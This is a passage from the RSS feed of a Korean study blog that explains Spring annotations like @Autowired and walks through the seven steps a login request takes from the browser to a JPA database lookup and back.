&lt;p data-ke-size=&quot;size16&quot;&gt;+) @Autowired : 개발자는 직접 new UserRepository() 등을 할 필요 없이 바로 사용 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;+) @~~: 어노테이션(Annotation). 코드에 추가하는 메타데이터(데이터에 대한 데이터).&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;컴파일러나 프레임워크(스프링)에게 &quot;이 클래스나 메서드는 이런 역할을 하니까 이렇게 처리해줘!&quot;라고 내리는 &lt;b data-index-in-node=&quot;139&quot; data-path-to-node=&quot;0&quot;&gt;특수 지시어&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;사용자가 로그인을 시도하는 경우(요청 처리흐름)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;3&quot; data-ke-size=&quot;size16&quot;&gt;1단계: 클라이언트의 요청 (Client Request)&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;4&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;상황: 사용자가 브라우저(UI)에서 아이디와 비밀번호를 입력하고 로그인&lt;/li&gt;
&lt;li&gt;동작: 입력된 데이터가 HTTP 요청 메시지에 담겨 서버로 전송됨 (보통 보안을 위해 POST 방식을 사용)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-path-to-node=&quot;5&quot; data-ke-size=&quot;size16&quot;&gt;2단계: DispatcherServlet의 요청 처리&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;6&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;상황: 서버에 요청이 도착하면 가장 먼저 DispatcherServlet이 이를 받음&lt;/li&gt;
&lt;li&gt;동작: 공통적인 전처리 작업을 수행한 후, 이 요청을 처리할 수 있는 적절한 Controller를 호출&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-path-to-node=&quot;7&quot; data-ke-size=&quot;size16&quot;&gt;3단계: Controller가 요청 처리&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;8&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;상황: @RestController 또는 @Controller가 요청을 넘겨받음&lt;/li&gt;
&lt;li&gt;동작: HTTP 요청 본문에 담긴 로그인 정보(ID, PW)를 DTO(Data Transfer Object) 객체로 변환하여 읽어들임&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-path-to-node=&quot;9&quot; data-ke-size=&quot;size16&quot;&gt;4단계: Service에 데이터 전달 및 비즈니스 로직 요청&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;10&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;상황: 컨트롤러는 직접 DB에 접근하지 않고, 해당 기능을 담당하는 Service 계층에 데이터를 넘김&lt;/li&gt;
&lt;li&gt;동작: userService.login(dto)와 같은 메서드를 호출하여 &quot;이 정보로 로그인이 가능한지 확인해줘&quot;라고 요청&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-path-to-node=&quot;11&quot; data-ke-size=&quot;size16&quot;&gt;5단계: JPA Repository를 통한 데이터베이스 조회&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;12&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;상황: 서비스는 실제 사용자의 정보가 DB에 있는지 확인하기 위해 Repository를 호출합니다.&lt;/li&gt;
&lt;li&gt;동작: Repository는 Spring Data JPA를 사용하여 SELECT * FROM user WHERE username = ?과 같은 쿼리를 실행하고, 결과를 Entity 객체로 반환&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-path-to-node=&quot;13&quot; data-ke-size=&quot;size16&quot;&gt;6단계: Service의 로직 처리 (검증)&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;14&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;상황: DB에서 가져온 Entity와 사용자가 입력한 DTO 정보를 비교&lt;/li&gt;
&lt;li&gt;동작: 비밀번호가 일치하는지, 계정이 정지되지는 않았는지 등의 비즈니스 로직을 수행한 후, 로그인 성공 여부(성공/실패)를 결정하여 컨트롤러에 반환&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-path-to-node=&quot;15&quot; data-ke-size=&quot;size16&quot;&gt;7단계: Controller 응답 생성 및 반환 (Response)&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;16&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;상황: 서비스로부터 결과를 받은 컨트롤러가 최종 응답 생성&lt;/li&gt;
&lt;li&gt;동작: 성공 시에는 메인 화면으로 이동하거나 토큰(JWT 등)을 발급하고, 실패 시에는 에러 메시지를 담아 클라이언트(브라우저)에게 전송&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>SWLUG(2026)/유지보수</category>
      <author>batterygj</author>
      <guid isPermaLink="true">https://batterygj.tistory.com/71</guid>
      <comments>https://batterygj.tistory.com/71#entry71comment</comments>
      <pubDate>Wed, 29 Apr 2026 14:30:39 +0900</pubDate>
    </item>
  </channel>
</rss>